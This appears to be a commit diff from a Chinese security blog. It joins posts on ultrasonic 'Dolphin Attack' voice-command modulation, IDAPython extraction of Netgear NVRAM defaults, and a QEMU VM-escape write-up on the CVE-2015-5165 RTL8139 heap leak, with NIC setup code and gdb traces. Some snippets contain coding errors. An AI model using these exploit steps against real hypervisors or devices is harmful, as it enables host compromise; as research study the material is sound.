signal_am = signal_amsc= waveData[n] * carrier_sample
signal_am += carrier_sample
signal_am /= 2
am.writeframes(struct.pack('h', signal_am * maxW))
amsc.writeframes(struct.pack('h', signal_amsc * maxW))
carrier.writeframes(struct.pack('h', carrier_sample * maxW))
if __name__=='__main__':
main()
```
分别对am.wav、amsc.wav、carrier3000.wav做频谱分析
carrier3000.wav的频谱的为集中在载波频率30khz上的一个脉冲[carrier3000.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/9RE4Z0lCs1WACO75zLTAhA?name=carrier3000.wav)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/K5447O57_S___A_O_Q3V.png)
amsc.wav的带宽约为18khz是原来的两倍关于f=30khz镜面对称。AM调制会创建原始信号的两个“副本”一个在21-30kHz频段另一个在30-39kHz。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/OPSXK_21_7R24_I_NIWM0_8.png)
am.wav在这种调制中我们可以听到载波而在AM-SC中则听不到。频谱类似于AM-SC但在载波频率上还有一个尖锐的“尖峰”
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/G8_K4_ZG__PE2CQ_5_UYY.png)
## 0x03 语音命令发送器
下图是由智能手机驱动的便携式发射器。便携式发射器利用智能手机来发射调制信号。许多设备的最佳载波频率都大于24 kHz 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率所以只能发送载波频率最高为24 kHz的调制窄带信号。需要支持高达192 kHz的采样率的手机而且扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题我使用窄带超声换能器作为扬声器并在超声换能器之前添加了一个放大器这样有效的攻击范围得以扩展。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082508/Dolphin%20Attack/Snipaste_2021-01-08_13-06-55.png)

View File

@ -7,9 +7,8 @@ tags:
- 栈溢出
categories:
- Pwn
description: 之前介绍了Windows x86平台下栈溢出漏洞的开放与利用鉴于CTF基本都是Linux还有实际开发环境很多智能设备的系统都是基于Linux所以从很现实的需求出发一定要学习学习Linux下漏洞的分析。
---
之前介绍了Windows x86平台下栈溢出漏洞的开放与利用鉴于CTF基本都是Linux还有实际开发环境很多智能设备的系统都是基于Linux所以从很现实的需求出发一定要学习学习Linux下漏洞的分析。
**ref**
> CTF-WIKIhttps://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/

View File

@ -8,7 +8,6 @@ tags:
- 重放攻击
categories:
- IOT
description: 局域网内所有的动作都在黑客的掌握之中吗?
---
# 控制局域网内的IOT设备
## 中间人攻击—流量分析

View File

@ -1,166 +0,0 @@
---
title: 自动化获取nvram配置
date: 2021-01-08 16:27:26
tags:
- Netgear
- UPnP
- NVRAM
- 固件模拟
categories:
- IOT
description: 还记得固件仿真吗先试着快速解决nvram
---
ARMX作者说nvram的内容必须从正在运行的设备中提取。
一种方法是转储包含nvram数据的mtdblock /proc/mtd可能有助于识别哪个mtdblock包含nvram。
另一种方法是如果您可以通过UART进行命令行访问当然可以访问实际的硬件某些固件会提供nvram命令运行“ nvram show”也可以获取nvram内容。
https://github.com/therealsaumil/armx/issues/4
知道创宇的研究人员说nvram配置可以查看对应的汇编代码逻辑配置的有问题的话很容易触发段错误
我需要无需硬件自动化的处理大批设备的nvram配置上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te'd
* upnp等二进制程序通过nvram_match来匹配nvram变量与预期值
* libnvram在data段存储了设备的默认nvram配置**数据段**data segment通常是指用来存放[程序](https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F)中已[初始化且不为0](https://zh.wikipedia.org/w/index.php?title=%E5%88%9D%E5%A7%8B%E5%8C%96%E4%B8%94%E4%B8%8D%E4%B8%BA0&action=edit&redlink=1)的[全局变量](https://zh.wikipedia.org/wiki/%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F)的一块内存区域。数据段属于[静态内存分配](https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D)。
于是根据这两个事实做了两个实验:
## match函数
该函数的逻辑如下a1为要查询的keya2为待比较的对应value调用nvram_get获得nvram中a1的value然后和a2比较相同的话返回1。
```c
const char *__fastcall acosNvramConfig_match(int a1, const char *a2)
{
const char *v2; // r4
const char *result; // r0
int v4; // [sp+0h] [bp-1008h]
v2 = a2;
result = (const char *)j_nvram_get(a1, &v4, 4096);
if ( result )
result = (const char *)(strcmp(result, v2) == 0);
return result;
}
```
在upnp二进制程序汇编代码中调用acosNvramConfig_match来比较nvram
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094619/nvram/image_24.png)
我做出了一个假设所有a2都是能够使程序正常运行的nvram值现在想要获取它。编写IDA脚本如下
```c
def GetAddr(func_name):
func_list = Functions()
for func in func_list:
name = GetFunctionName(func)
if func_name == name:
print(name,hex(func))
func_addr=func
return func_addr
func_addr = GetAddr('acosNvramConfig_match')
#func_addr=0xa3d4
for x in XrefsTo(func_addr,flags=0):
print "XrefsTo nvram-match func addr: %s"%hex(x.frm)
match_addr = x.frm
val_addr = PrevHead(match_addr)
key_addr = PrevHead(val_addr)
if GetMnem(key_addr) == 'LDR':
instr = GetDisasm(prevaddr)
#print('LDR instruction: %s'%instr)
addr = GetOperandValue(key_addr,1)
key = GetString(Dword(addr))
print('nvram key: %s'%key)
if GetMnem(val_addr) == 'LDR':
instr = GetDisasm(prevaddr)
#print('LDR instruction: %s'%instr)
addr = GetOperandValue(val_addr,1)
val = GetString(Dword(addr))
print('nvram value: %s'%val)
```
1. GetAddr(func_name) 根据函数名获得地址,这里获得了'acosNvramConfig_match'的地址0xa3d4
2. 找到所有引用过该函数的地址并且提取作为参数的数据。获取到函数的引用非常的简单只需要使用XrefsTo()这个API函数就能达到我们的目的。
3. value是调用match函数的前一条指令key是调用match函数的前两条指令操作码都是LDR;
4. 使用GetOperandValue() 这个指令得到第二个操作数的值。注意该值存放的是“存放字符串地址”的地址
5. 使用Dword(addr)获取“存放字符串地址”使用GetString()这个API函数从该偏移提取字符串
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
```shell
('acosNvramConfig_match', '0xa3d4L')
XrefsTo nvram-match func addr: 0xc940L
nvram key: qos_bw_set_sel
nvram value: 1
XrefsTo nvram-match func addr: 0xc9b4L
nvram key: qos_bw_enable
nvram value: 1
XrefsTo nvram-match func addr: 0xfbd0L
nvram key: wlg_band
nvram value: 2.4G
XrefsTo nvram-match func addr: 0xfc84L
nvram value: 5G
XrefsTo nvram-match func addr: 0xff70L
nvram key: wlg_band
nvram value: 2.4G
nvram value: static
XrefsTo nvram-match func addr: 0x13d2cL
nvram key: board_id
nvram value: U12H127T00_NETGEAR
```
## NVRAM默认配置
如上所述libnvram.so中data段存放着默认配置
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094620/nvram/image_23.png)
利用IDApython获取该区域存放的键值注意该区域并不存放字符串而是存放“存放字符串地址处”的地址所以也要通过Doword来获取实际地址
```python
import idautils
for seg in idautils.Segments():
if SegName(seg) == '.data':
start = idc.SegStart(seg)
end = idc.SegEnd(seg)
print idc.SegName(seg),start,end
while(start!=end):
key = GetString(Dword(start))
if key != None and key != '0':
start += 4
val = GetString(Dword(start))
if 'upnp' in key:
print('%s=%s'%(key,val))
start += 4
```
这里我们只关注有upnp特征的键值对
```shell
.data [77868 94004](tel:7786894004)
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=0
upnp_duration=3600
upnp_DHCPServerConfigurable=1
```
另外再补充几个与网络有关的配置
```shell
friendly_name=Netgear
lan_hwaddr=AA:BB:CC:DD:EE:FF
lan_ipaddr=192.168.2.2
```
使用这个配置成功仿真~
## 一些IDApython使用方法
蒸米写的https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html

View File

@ -2,12 +2,8 @@
title: 加壳与脱壳
date: 2019-05-14 11:20:59
tags:
- 逆向
- 破解
categories: 二进制
description: 壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
---
壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
壳附加在原始程序上通过Windows加载器载入内存后先于原始程序执行以得到控制权在执行的过程中对原始程序进行解密还原然后把控制权还给原始程序执行原来的代码。
加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。

View File

@ -7,7 +7,6 @@ tags:
- 密码
- QQ
- 数据库
description: 很久远的攻击,可能现在还有效
---
# qq数据库采用简单加密——异或加密

View File

@ -1,564 +0,0 @@
---
title: VM escape-QEMU Case Study
date: 2021-04-10 18:25:46
tags:
- QEMU
- CVE
- 信息泄露
categories:
- Pwn
description: 进入QEMU虚拟机逃逸的世界
---
## 1 Intro
如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在*受控和受限*的环境中分析恶意软件。 一个自然的问题出现了:**恶意软件能否从虚拟机中逃脱并在主机上执行代码?**
2015年来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误[CVE-2015-3456](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456)该错误影响了虚拟软盘驱动器代码这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注可能是因为它有一个专用名[VENOM](https://www.crowdstrike.com/blog/venom-vulnerability-details/)),这并不是第一个此类漏洞。
2011年[Nelson Elhage](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf)在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的[漏洞](https://github.com/nelhage/virtunoid)。
2016年来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞CVE-2015-5165和CVE-2015-7504。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。
在本文中我们提供了对CVE-2015-5165一个内存泄漏漏洞和CVE-2015-7504一个基于堆的溢出漏洞的深入分析以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。
我们讨论了技术细节以利用QEMU的**网卡设备仿真**中的漏洞并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。
## 2 KVM/QEMU Overview
KVMKernal-based Virtual Machine基于内核的虚拟机是一个内核模块可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
KVM的用户空间组件包含在主线QEMU快速仿真器该QEMU特别处理设备仿真。
### 2.1 Workspace Environment
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
由于我们定位的漏洞已经修复因此我们需要签出QEMU存储库的源并切换到这些漏洞的修复之前的提交。 然后我们仅为目标x86_64配置QEMU并启用调试在我们的测试环境中我们使用Gcc的4.9.2版构建QEMU
```shell
$ git clone git://git.qemu-project.org/qemu.git
$
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make
```
使用qemu-img来生成一个qcow2系统文件
```shell
$ ./qemu-img create -f qcow2 ubuntu.qcow2 20G`
$ sudo chmod 666 /dev/kvm
```
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装需要用-cdrom对iso镜像文件进行加载
```shell
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\
'/home/han/VMescape/ubuntu-16.04-server-amd64.iso'
```
安装完成后就获得了一个有系统的qcow2文件我们分配2GB的内存并创建两个网络接口卡RTL8139和PCNET同时创建tap接口连接虚拟机和主机
```shell
✗ sudo tunctl -t tap0 -u `whoami`
✗ sudo ifconfig tap0 192.168.2.1/24
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, \
-device pcnet,netdev=t1,id=nic1 -drive \
file=/home/han/VMescape/qemu/bin/debug/native/ubuntu.qcow2,\
format=qcow2,if=ide,cache=writeback,\
-net nic -net tap,ifname=tap0,script=no,downscript=no
```
使用vncviewer连接qemu
```
apt-get install xvnc4viewer
vncviewer 127.0.0.1:5989
```
### 2.2 QEMU Memory Layout
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意分配guest的物理内存时未启用PROT_EXEC标志。
下图说明了来宾的内存和主机的内存如何共存。
```shell
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++
```
此外QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用
```shell
✗ cat /proc/36220/maps
555aae05c000-555aae931000 r-xp 00000000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaeb30000-555aaecfc000 r--p 008d4000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaecfc000-555aaed7b000 rw-p 00aa0000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaed7b000-555aaf1de000 rw-p 00000000 00:00 0
555ab0c1c000-555ab2015000 rw-p 00000000 00:00 0 [heap]
7f90b2e2b000-7f90b2e38000 r-xp 00000000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b2e38000-7f90b3037000 ---p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b3037000-7f90b3038000 r--p 0000c000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b3038000-7f90b3039000 rw-p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
.... [other shared libs]
7f9152f96000-7f9152f99000 rw-s 00000000 00:0e 12527 anon_inode:kvm-vcpu:0
7f9152f99000-7f9152f9a000 r--p 00029000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
7f9152f9a000-7f9152f9b000 rw-p 0002a000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
7f9152f9b000-7f9152f9c000 rw-p 00000000 00:00 0
7ffe2cf63000-7ffe2cf84000 rw-p 00000000 00:00 0 [stack]
7ffe2cf8f000-7ffe2cf92000 r--p 00000000 00:00 0 [vvar]
7ffe2cf92000-7ffe2cf93000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
```
有关虚拟化环境中内存管理的更详细说明请参见http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
### 2.3 Address Translation
在QEMU中存在两个翻译层Guest Virtual Address → Guest Physical Address → Host Virtual Address
* 从Guest虚拟地址到Guest物理地址。 在我们的利用中我们需要配置需要DMA访问的网卡设备。 例如我们需要提供Tx / Rx缓冲区的**物理地址**以正确配置网卡设备。
* 从Guest物理地址到QEMU的虚拟地址空间。 在我们的攻击中,我们需要注入伪造的结构,并在**QEMU的虚拟地址空间**中获得其精确地址。
在x64系统上虚拟地址由页偏移量位0-11和页码组成。 在linux系统上具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值其中`physical_address = PFN * page_size + offset`
```shell
- Bits 0-54 : physical frame number if present.
- Bit 55 : page table entry is soft-dirty.
- Bit 56 : page exclusively mapped.
- Bits 57-60 : zero
- Bit 61 : page is file-page or shared-anon.
- Bit 62 : page is swapped.
- Bit 63 : page is present.
```
将[虚拟地址Guest Virtual Address转换为物理地址Guest Physical Address](https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/)的过程包括
1. 64wei每个页面的大小为 `4096` 字节,即 `1 << 12`
1. 基于 `/proc/pid/pagemap` 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame NumberPFN
* `pagemap` 文件为每个 Virtual Page 存储 `64` 位(即 `8` 字节)的信息,数据格式如上。
1. 对任意的虚拟地址 `address` ,基于 `address/4096` 可以计算出该虚拟地址在 `pagemap` 文件中的索引值, `address/4096 * 8` 即对应的文件偏移值,在该位置能够获取**PFN**信息;
1. 页内偏移对任意的虚拟地址 `address` `address%4096` 即虚拟地址在对应的内存页中的**偏移值**
1. 根据物理内存的 PFN **physical frame number**)以及页内偏移,就可以计算出对应的物理地址;
```
physical_address = PFN * page_size + offset
physcial_addr =(page_frame_number << PAGE_SHIFT) + distance_from_page_boundary_of_buffer
```
我们依靠Nelson Elhage的[代码](https://github.com/nelhage/virtunoid/blob/master/virtunoid.c)。 下面的程序分配一个缓冲区并用字符串“Where am I?”填充它。 并打印其物理地址:
```c
---[ mmu.c ]---
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
# The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
```
静态编译好程序之后将其上传到 QEMU 虚拟机中以 `root` 身份执行,打印出物理地址为 `0x73b17b20`
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png)
在主机将gdb附加到QEMU进程我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说输出的guest物理地址地址实际上是与**guest物理内存基址**的偏移量。
```shell
✗ sudo gdb qemu-system-x86_64 38140
(gdb) info proc mappings
process 38140
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x556857048000 0x55685791d000 0x8d5000 0x0 /usr/bin/qemu-system-x86_64
0x556857b1c000 0x556857ce8000 0x1cc000 0x8d4000 /usr/bin/qemu-system-x86_64
0x556857ce8000 0x556857d67000 0x7f000 0xaa0000 /usr/bin/qemu-system-x86_64
0x556857d67000 0x5568581ca000 0x463000 0x0
0x556859c27000 0x55685b038000 0x1411000 0x0 [heap]
... ... ... ...
0x7f72afe00000 0x7f732fe00000 0x80000000 0x0 [2GB RAM]
... ... ... ...
(gdb) x/s 0x7f72afe00000+0x73b17b20
0x7f7323917b20: "Where am I?"
```
## 3 Memory Leak Exploitation
接下来我们将利用CVE-2015-5165一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞来重建QEMU的内存布局。 更准确地说,我们需要泄漏
1. .text段的基地址以构建我们的shellcode
2. 为Guest分配的物理内存的基地址以便能够获得 一些虚拟结构的地址
### 3.1 The vulnerable Code
REALTEK网卡支持两种 接收/发送 操作模式C模式和C +模式。 当将网卡设置为使用C +时网卡设备仿真器会错误地计算IP数据包数据的长度最终发送的数据量会超出数据包中实际可用的数据量。
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
```c
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;
uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len** **= be16_to_cpu(ip->ip_len) - hlen;
}
}
```
IP头包含两个字段hlen和ip-> ip_len分别表示IP头的长度考虑到不带选项的数据包为20字节和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示在计算IP数据长度ip_data_len没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int因此导致发送的数据多于发送缓冲区中实际可用的数据。
更精确地讲ip_data_len稍后用于计算TCP数据的长度如果该数据超过MTU的大小则将其逐块复制到一个malloc缓冲区中
```c
int tcp_data_len** **= ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
int is_last_frame = 0;
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size) {
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
memcpy(data_to_checksum, saved_ip_header + 12, 8);
if (tcp_send_offset) {
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
chunk_size);
}
/* more code follows */
}
```
因此如果我们伪造了长度损坏的畸形数据包例如ip→ip_len = hlen-1则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束 而不是发送单个数据包。
### 3.2 Setting up the Card
为了发送格式错误的数据包并读取泄漏的数据我们需要在卡上配置Rx和Tx描述符缓冲区并设置一些标志以使我们的数据包流经易受攻击的代码路径。
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
```shell
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
```
* **TxConfig:** 启用/禁用Tx标志例如TxLoopBack启用回送测试模式TxCRC不将CRC附加到Tx数据包等。
* **RxConfig:** 启用/禁用Rx标志例如AcceptBroadcast接受广播数据包AcceptMulticast接受组播数据包等。
* **CpCmd:** C+命令寄存器用于启用某些功能例如CplusRxEnd启用接收CplusTxEnd启用发送等。
* **TxAddr0:** Tx描述符表的物理内存地址。
* **RxRingAddrLO:** Rx描述符表的低32位物理内存地址。
* **RxRingAddrHI:** Rx描述符表的高32位物理内存地址。
* **TxPoll:**告诉网卡检查Tx描述符。
Rx/Tx描述符 由以下结构定义其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志例如所有权标志进行编码以表示缓冲区是由网卡还是由驱动程序拥有。
```c
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t **buf_lo**;
uint32_t **buf_hi**;
};
```
网卡通过in*() out*()原语来自sys/io.h进行配置。 为此我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
```c
#define RTL8139_PORT 0xc000
#define RTL8139_BUFFER_SIZE 1500
struct rtl8139_desc desc;
void *rtl8139_tx_buffer;
uint32_t phy_mem;
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);
memset(&desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc.buf_lo = phy_mem;
iopl(3);
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
outl(phy_mem, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
```
### 3.3 Exploit
phrack随附的源代码中提供了完整的利用cve-2015-5165.c uuencode用于将二进制文件编码为纯ASCII文本以便可以通过电子邮件发送它们。
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址因此首先需要通过[build-exploit.sh](https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-7504/build-exploit.sh)来进行计算。
```shell
./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64'
```
该漏洞利用程序在网卡上配置所需的寄存器并设置Tx和Rx缓冲区描述符。 然后它伪造了格式错误的IP数据包该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
通过对qemu运行程序下断点可用看到漏洞触发的过程由于ip_len小于伪造的hlen导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去网卡需要配置为loopback 口)
```shell
(gdb) b rtl8139.c:2173
Breakpoint 1 at 0x55a5ef757b03: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2173.
(gdb) c
Continuing.
Thread 3 "qemu-system-x86" hit Breakpoint 1, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2173
2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
(gdb) p/x ip
$1 = 0x7ff7d4278b6e
(gdb) p/x *ip
$2 = {ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde, ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6,
ip_sum = 0xadde, ip_src = 0x10108c0, ip_dst = 0x201a8c0}
(gdb) n
[Thread 0x7ff7e131f700 (LWP 56763) exited]
2179 hlen = IP_HEADER_LENGTH(ip);
(gdb) n
2180 ip_protocol = ip→ip_p;
(gdb) p/x hlen
$5 = 0x14
(gdb) n
2181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
(gdb) n
2185 if (ip)
(gdb) p/x ip_data_len
**$7 = 0xffff**
(gdb) b rtl8139.c:2231
Breakpoint 2 at 0x55a5ef757d42: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2231.
(gdb) c
Continuing.
Thread 3 "qemu-system-x86" hit Breakpoint 2, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2231
2231 int tcp_data_len = ip_data_len - tcp_hlen;
(gdb) n
2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
(gdb) p/x tcp_data_len
**$8 = 0xffeb**
```
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时我们观察到存在多个函数指针。经过调试发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 **get/set/resolve/release**
```c
typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;
QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
```
QEMU遵循对象模型来管理设备内存区域等。启动时QEMU创建多个对象并为其分配属性。 例如以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法可以检索此boolean属性的值
```c
object_property_add_bool(OBJECT(mr), "may-overlap",
memory_region_get_may_overlap,
NULL, /* memory_region_set_may_overlap */
&error_abort);
```
